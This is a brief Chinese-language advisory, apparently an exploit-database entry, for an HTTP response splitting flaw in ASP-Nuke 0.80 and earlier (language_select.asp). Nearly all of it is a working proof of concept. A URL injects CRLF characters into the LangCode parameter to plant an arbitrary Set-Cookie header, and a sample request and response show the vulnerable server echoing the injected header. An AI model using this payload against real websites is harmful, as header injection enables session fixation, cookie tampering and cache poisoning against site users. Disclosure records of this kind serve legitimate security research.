ASP-Nuke <= 0.80 language_select.aspHTTP响应拆分漏洞

                                                http://www.example.com/module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0aSet-Cookie%3Asome%3Dvalue

 

 以下是HTTP首部示例：

     请求：
          POST
  /module/support/language/language_select.asp?action=go&LangCode=trivero%0d%0
  aSet-Cookie%3Asome%3Dvalue HTTP/1.0
          Accept: */*
          Content-Type: application/x-www-form-urlencoded
          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
          Host: www.aspnuke.com
          Content-Length: 90
          Cookie: ASPSESSIONIDSCRDCDAD=NMDFFFJBFMLBNDNFJDFGAGPP;LANGUAGE=US
          Connection: Close

     响应：
          HTTP/1.1 302 Object moved
          Server: Microsoft-IIS/5.0
          Date: Sun, 15 May 2005 11:31:37 GMT
          Pragma: no-cache
          Location: tran_list.asp?langcode=trivero
          Set-Cookie: some=value
          Connection: Keep-Alive
          Content-Length: 121
          Content-Type: text/html
          Expires: Sun, 15 May 2005 11:30:38 GMT
          Cache-control: no-cache